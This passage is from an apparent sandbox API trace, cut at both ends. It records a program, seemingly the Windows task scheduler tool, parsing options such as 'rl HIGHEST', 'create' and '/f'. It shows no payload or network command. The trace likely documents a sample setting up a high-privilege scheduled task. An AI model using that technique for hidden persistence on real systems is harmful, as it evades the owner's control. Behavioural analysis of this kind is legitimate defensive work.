(lpString="?") returned 1 [0068.411] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.411] lstrlenW (lpString="rl") returned 2 [0068.411] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.411] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|?|") returned 3 [0068.412] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.412] lstrlenW (lpString="|?|") returned 3 [0068.412] lstrlenW (lpString="|rl|") returned 4 [0068.412] SetLastError (dwErrCode=0x490) [0068.412] lstrlenW (lpString="s") returned 1 [0068.412] lstrlenW (lpString="s") returned 1 [0068.412] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.412] lstrlenW (lpString="rl") returned 2 [0068.412] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.412] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|s|") returned 3 [0068.412] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.412] lstrlenW (lpString="|s|") returned 3 [0068.412] lstrlenW (lpString="|rl|") returned 4 [0068.412] SetLastError (dwErrCode=0x490) [0068.412] lstrlenW (lpString="u") returned 1 [0068.412] lstrlenW (lpString="u") returned 1 [0068.412] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.412] lstrlenW (lpString="rl") returned 2 [0068.412] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.412] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|u|") returned 3 [0068.412] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.412] lstrlenW (lpString="|u|") returned 3 [0068.412] lstrlenW (lpString="|rl|") returned 4 [0068.412] SetLastError (dwErrCode=0x490) [0068.412] lstrlenW (lpString="p") returned 1 [0068.412] lstrlenW (lpString="p") returned 1 [0068.412] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.412] lstrlenW (lpString="rl") returned 2 [0068.412] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.413] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|p|") returned 3 [0068.413] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.413] lstrlenW (lpString="|p|") returned 3 [0068.413] lstrlenW (lpString="|rl|") returned 4 [0068.413] SetLastError (dwErrCode=0x490) [0068.413] lstrlenW (lpString="ru") returned 2 [0068.413] lstrlenW (lpString="ru") returned 2 [0068.413] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.413] lstrlenW (lpString="rl") returned 2 [0068.413] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.413] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ru|") returned 4 [0068.413] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.413] lstrlenW (lpString="|ru|") returned 4 [0068.413] lstrlenW (lpString="|rl|") returned 4 [0068.413] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0068.413] SetLastError (dwErrCode=0x490) [0068.413] lstrlenW (lpString="rp") returned 2 [0068.413] lstrlenW (lpString="rp") returned 2 [0068.413] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.413] lstrlenW (lpString="rl") returned 2 [0068.413] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.413] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rp|") returned 4 [0068.413] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.413] lstrlenW (lpString="|rp|") returned 4 [0068.413] lstrlenW (lpString="|rl|") returned 4 [0068.413] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0068.413] SetLastError (dwErrCode=0x490) [0068.413] lstrlenW (lpString="sc") returned 2 [0068.413] lstrlenW (lpString="sc") returned 2 [0068.413] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.414] lstrlenW (lpString="rl") returned 2 [0068.414] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.414] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.414] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.415] lstrlenW (lpString="|sc|") returned 4 [0068.415] lstrlenW (lpString="|rl|") returned 4 [0068.415] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0068.415] SetLastError (dwErrCode=0x490) [0068.415] lstrlenW (lpString="mo") returned 2 [0068.415] lstrlenW (lpString="mo") returned 2 [0068.415] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.415] lstrlenW (lpString="rl") returned 2 [0068.415] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.415] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|mo|") returned 4 [0068.415] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.415] lstrlenW (lpString="|mo|") returned 4 [0068.415] lstrlenW (lpString="|rl|") returned 4 [0068.415] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0068.415] SetLastError (dwErrCode=0x490) [0068.415] lstrlenW (lpString="d") returned 1 [0068.415] lstrlenW (lpString="d") returned 1 [0068.415] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.415] lstrlenW (lpString="rl") returned 2 [0068.415] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.415] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|d|") returned 3 [0068.415] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.415] lstrlenW (lpString="|d|") returned 3 [0068.415] lstrlenW (lpString="|rl|") returned 4 [0068.415] SetLastError (dwErrCode=0x490) [0068.415] lstrlenW (lpString="m") returned 1 [0068.415] lstrlenW (lpString="m") returned 1 [0068.415] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.416] lstrlenW (lpString="rl") returned 2 [0068.416] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.416] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|m|") returned 3 [0068.416] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.416] lstrlenW (lpString="|m|") returned 3 [0068.416] lstrlenW (lpString="|rl|") returned 4 [0068.416] SetLastError (dwErrCode=0x490) [0068.416] lstrlenW (lpString="i") returned 1 [0068.416] lstrlenW (lpString="i") returned 1 [0068.416] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.416] lstrlenW (lpString="rl") returned 2 [0068.416] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.416] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|i|") returned 3 [0068.416] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.416] lstrlenW (lpString="|i|") returned 3 [0068.416] lstrlenW (lpString="|rl|") returned 4 [0068.416] SetLastError (dwErrCode=0x490) [0068.416] lstrlenW (lpString="tn") returned 2 [0068.416] lstrlenW (lpString="tn") returned 2 [0068.416] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.416] lstrlenW (lpString="rl") returned 2 [0068.416] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.416] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.416] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.416] lstrlenW (lpString="|tn|") returned 4 [0068.416] lstrlenW (lpString="|rl|") returned 4 [0068.416] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0068.416] SetLastError (dwErrCode=0x490) [0068.416] lstrlenW (lpString="tr") returned 2 [0068.417] lstrlenW (lpString="tr") returned 2 [0068.417] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.417] lstrlenW (lpString="rl") returned 2 [0068.417] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.417] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.417] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.417] lstrlenW (lpString="|tr|") returned 4 [0068.417] lstrlenW (lpString="|rl|") returned 4 [0068.417] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0068.417] SetLastError (dwErrCode=0x490) [0068.417] lstrlenW (lpString="st") returned 2 [0068.417] lstrlenW (lpString="st") returned 2 [0068.417] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.417] lstrlenW (lpString="rl") returned 2 [0068.417] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.417] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|st|") returned 4 [0068.417] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.417] lstrlenW (lpString="|st|") returned 4 [0068.417] lstrlenW (lpString="|rl|") returned 4 [0068.417] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0068.417] SetLastError (dwErrCode=0x490) [0068.417] lstrlenW (lpString="sd") returned 2 [0068.417] lstrlenW (lpString="sd") returned 2 [0068.417] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.417] lstrlenW (lpString="rl") returned 2 [0068.417] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.417] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sd|") returned 4 [0068.417] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.417] lstrlenW (lpString="|sd|") returned 4 [0068.418] lstrlenW (lpString="|rl|") returned 4 [0068.418] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0068.418] SetLastError (dwErrCode=0x490) [0068.418] lstrlenW (lpString="ed") returned 2 [0068.418] lstrlenW (lpString="ed") returned 2 [0068.418] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.418] lstrlenW (lpString="rl") returned 2 [0068.418] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.418] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ed|") returned 4 [0068.418] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.418] lstrlenW (lpString="|ed|") returned 4 [0068.418] lstrlenW (lpString="|rl|") returned 4 [0068.418] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0068.418] SetLastError (dwErrCode=0x490) [0068.418] lstrlenW (lpString="it") returned 2 [0068.418] lstrlenW (lpString="it") returned 2 [0068.418] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.418] lstrlenW (lpString="rl") returned 2 [0068.418] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.418] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|it|") returned 4 [0068.418] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.418] lstrlenW (lpString="|it|") returned 4 [0068.418] lstrlenW (lpString="|rl|") returned 4 [0068.418] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0068.418] SetLastError (dwErrCode=0x490) [0068.418] lstrlenW (lpString="et") returned 2 [0068.418] lstrlenW (lpString="et") returned 2 [0068.418] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.418] lstrlenW (lpString="rl") returned 2 [0068.418] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.419] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|et|") returned 4 [0068.419] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.419] lstrlenW (lpString="|et|") returned 4 [0068.419] lstrlenW (lpString="|rl|") returned 4 [0068.419] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0068.419] SetLastError (dwErrCode=0x490) [0068.419] lstrlenW (lpString="k") returned 1 [0068.419] lstrlenW (lpString="k") returned 1 [0068.419] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.419] lstrlenW (lpString="rl") returned 2 [0068.419] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.419] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|k|") returned 3 [0068.419] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.419] lstrlenW (lpString="|k|") returned 3 [0068.419] lstrlenW (lpString="|rl|") returned 4 [0068.419] SetLastError (dwErrCode=0x490) [0068.419] lstrlenW (lpString="du") returned 2 [0068.419] lstrlenW (lpString="du") returned 2 [0068.419] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.419] lstrlenW (lpString="rl") returned 2 [0068.419] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.419] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|du|") returned 4 [0068.419] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.419] lstrlenW (lpString="|du|") returned 4 [0068.419] lstrlenW (lpString="|rl|") returned 4 [0068.419] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0068.419] SetLastError (dwErrCode=0x490) [0068.419] lstrlenW (lpString="ri") returned 2 [0068.419] lstrlenW (lpString="ri") returned 2 [0068.419] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.420] lstrlenW (lpString="rl") returned 2 [0068.420] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.420] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ri|") returned 4 [0068.420] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.420] lstrlenW (lpString="|ri|") returned 4 [0068.420] lstrlenW (lpString="|rl|") returned 4 [0068.420] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0068.420] SetLastError (dwErrCode=0x490) [0068.420] lstrlenW (lpString="z") returned 1 [0068.420] lstrlenW (lpString="z") returned 1 [0068.420] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.420] lstrlenW (lpString="rl") returned 2 [0068.420] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.420] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|z|") returned 3 [0068.420] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.420] lstrlenW (lpString="|z|") returned 3 [0068.420] lstrlenW (lpString="|rl|") returned 4 [0068.420] SetLastError (dwErrCode=0x490) [0068.420] lstrlenW (lpString="f") returned 1 [0068.420] lstrlenW (lpString="f") returned 1 [0068.420] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.420] lstrlenW (lpString="rl") returned 2 [0068.420] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.420] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.420] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.420] lstrlenW (lpString="|f|") returned 3 [0068.420] lstrlenW (lpString="|rl|") returned 4 [0068.420] SetLastError (dwErrCode=0x490) [0068.420] lstrlenW (lpString="v1") returned 2 [0068.420] lstrlenW (lpString="v1") returned 2 [0068.420] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.421] lstrlenW (lpString="rl") returned 2 [0068.421] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.421] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|v1|") returned 4 [0068.421] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.421] lstrlenW (lpString="|v1|") returned 4 [0068.421] lstrlenW (lpString="|rl|") returned 4 [0068.421] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0068.421] SetLastError (dwErrCode=0x490) [0068.421] lstrlenW (lpString="xml") returned 3 [0068.421] lstrlenW (lpString="xml") returned 3 [0068.421] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.421] lstrlenW (lpString="rl") returned 2 [0068.421] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.421] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|xml|") returned 5 [0068.421] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.421] lstrlenW (lpString="|xml|") returned 5 [0068.421] lstrlenW (lpString="|rl|") returned 4 [0068.421] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0068.421] SetLastError (dwErrCode=0x490) [0068.421] lstrlenW (lpString="ec") returned 2 [0068.421] lstrlenW (lpString="ec") returned 2 [0068.421] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.421] lstrlenW (lpString="rl") returned 2 [0068.421] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.421] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ec|") returned 4 [0068.421] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.421] lstrlenW (lpString="|ec|") returned 4 [0068.421] lstrlenW (lpString="|rl|") returned 4 [0068.421] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0068.421] SetLastError (dwErrCode=0x490) [0068.422] lstrlenW (lpString="rl") returned 2 [0068.422] lstrlenW (lpString="rl") returned 2 [0068.422] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.422] lstrlenW (lpString="rl") returned 2 [0068.422] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.422] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.422] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.422] lstrlenW (lpString="|rl|") returned 4 [0068.422] lstrlenW (lpString="|rl|") returned 4 [0068.422] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0068.422] SetLastError (dwErrCode=0x0) [0068.422] SetLastError (dwErrCode=0x0) [0068.422] lstrlenW (lpString="HIGHEST") returned 7 [0068.422] lstrlenW (lpString="-/") returned 2 [0068.422] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0068.422] SetLastError (dwErrCode=0x490) [0068.422] SetLastError (dwErrCode=0x490) [0068.422] SetLastError (dwErrCode=0x0) [0068.422] lstrlenW (lpString="HIGHEST") returned 7 [0068.422] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0068.422] SetLastError (dwErrCode=0x490) [0068.422] SetLastError (dwErrCode=0x0) [0068.422] _memicmp (_Buf1=0x25e540, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.422] lstrlenW (lpString="HIGHEST") returned 7 [0068.422] lstrlenW (lpString="HIGHEST") returned 7 [0068.422] lstrlenW (lpString=" \x09") returned 2 [0068.422] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0068.422] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0068.422] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0068.422] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0068.422] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0068.423] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0068.423] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0068.423] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0068.423] GetLastError () returned 0x0 [0068.423] lstrlenW (lpString="HIGHEST") returned 7 [0068.423] lstrlenW (lpString="HIGHEST") returned 7 [0068.423] SetLastError (dwErrCode=0x0) [0068.423] SetLastError (dwErrCode=0x0) [0068.423] lstrlenW (lpString="/f") returned 2 [0068.423] lstrlenW (lpString="-/") returned 2 [0068.423] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.423] lstrlenW (lpString="create") returned 6 [0068.423] lstrlenW (lpString="create") returned 6 [0068.423] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.423] lstrlenW (lpString="f") returned 1 [0068.423] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.423] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.423] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.423] lstrlenW (lpString="|create|") returned 8 [0068.423] lstrlenW (lpString="|f|") returned 3 [0068.423] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0068.423] SetLastError (dwErrCode=0x490) [0068.423] lstrlenW (lpString="?") returned 1 [0068.423] lstrlenW (lpString="?") returned 1 [0068.423] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.423] lstrlenW (lpString="f") returned 1 [0068.423] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.423] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|?|") returned 3 [0068.423] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.423] lstrlenW (lpString="|?|") returned 3 [0068.423] lstrlenW (lpString="|f|") returned 3 [0068.424] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0068.424] SetLastError (dwErrCode=0x490) [0068.424] lstrlenW (lpString="s") returned 1 [0068.424] lstrlenW (lpString="s") returned 1 [0068.424] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.424] lstrlenW (lpString="f") returned 1 [0068.424] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.424] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|s|") returned 3 [0068.424] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.424] lstrlenW (lpString="|s|") returned 3 [0068.424] lstrlenW (lpString="|f|") returned 3 [0068.424] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0068.424] SetLastError (dwErrCode=0x490) [0068.424] lstrlenW (lpString="u") returned 1 [0068.424] lstrlenW (lpString="u") returned 1 [0068.424] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.424] lstrlenW (lpString="f") returned 1 [0068.424] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.424] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|u|") returned 3 [0068.424] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.424] lstrlenW (lpString="|u|") returned 3 [0068.424] lstrlenW (lpString="|f|") returned 3 [0068.424] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0068.424] SetLastError (dwErrCode=0x490) [0068.424] lstrlenW (lpString="p") returned 1 [0068.424] lstrlenW (lpString="p") returned 1 [0068.424] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.424] lstrlenW (lpString="f") returned 1 [0068.424] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.424] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|p|") returned 3 [0068.424] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 